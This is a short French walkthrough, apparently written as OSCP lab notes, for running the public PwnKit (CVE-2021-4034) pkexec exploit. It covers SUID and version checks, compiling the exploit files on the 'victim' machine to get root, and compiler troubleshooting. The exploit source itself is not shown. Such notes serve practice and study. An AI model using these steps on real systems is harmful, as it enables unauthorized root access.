
Exploit pour CVE-2021-4034 (PwnKit) ciblant une vulnérabilité d'élévation de privilèges locale dans le binaire pkexec de polkit, permettant un accès root non authentifié sur les systèmes Linux affectés.
Je n'ai pas écrit ceci. Ce document ne sert qu'à documenter mon exécution/utilisation de l'exploit, car certaines étapes sont très complexes et délicates à suivre.
Les fichiers proviennent de la source suivante : https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html
Une aide supplémentaire pour l'exécution se trouve ici : https://ine.com/blog/exploiting-pwnkit-cve-20214034
Ceci a été testé/exécuté sur la VM d'entraînement Blackgate de l'OSCP : Ubuntu 20.04 Kernel 5.8.0-63-generic
Comment savoir si la machine est vulnérable :
Vérifiez les SUID disponibles et assurez-vous que /usr/bin/pkexec est un binaire SUID :
find / -perm -4000 2>/dev/null
Vérifiez les permissions du binaire :
ls -al /usr/bin/pkexec
Vérifiez la version de pkexec :
/usr/bin/pkexec --version
Version vulnérable trouvée sur Blackgate : pkexec version 0.105
Assurez-vous qu'un compilateur est disponible sur la machine victime.
gcc version
Copiez les fichiers sur la machine victime (Makefile, evil-so.c, exploit.c) Et compilez avec la commande 'make all'. Exécutez './exploit'
Vérifiez le shell
si vous obtenez une erreur indiquant que cc: error trying to exec 'cc1': execvp: No such file or directory.
utilisez la commande locate cc1 pour trouver les binaires :
locate cc1
/lib/modules/4.15.0-20-generic/kernel/drivers/iio/adc/cc10001_adc.ko
/lib/modules/4.15.0-20-generic/vdso/.build-id/a0/297fe29f8038ef50a10a26c9fcf5249ccc1184.debug
/usr/lib/gcc/x86_64-linux-gnu/7/cc1
/usr/lib/gcc/x86_64-linux-gnu/7/libcc1.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0
/usr/lib/gcc/x86_64-linux-gnu/7/plugin/libcc1plugin.so.0.0.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0
/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0
# Exportez ensuite l'emplacement dans le PATH pour référence, puis réessayez de compiler
Jack@oscp:/home/Jack$ export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/7/cc1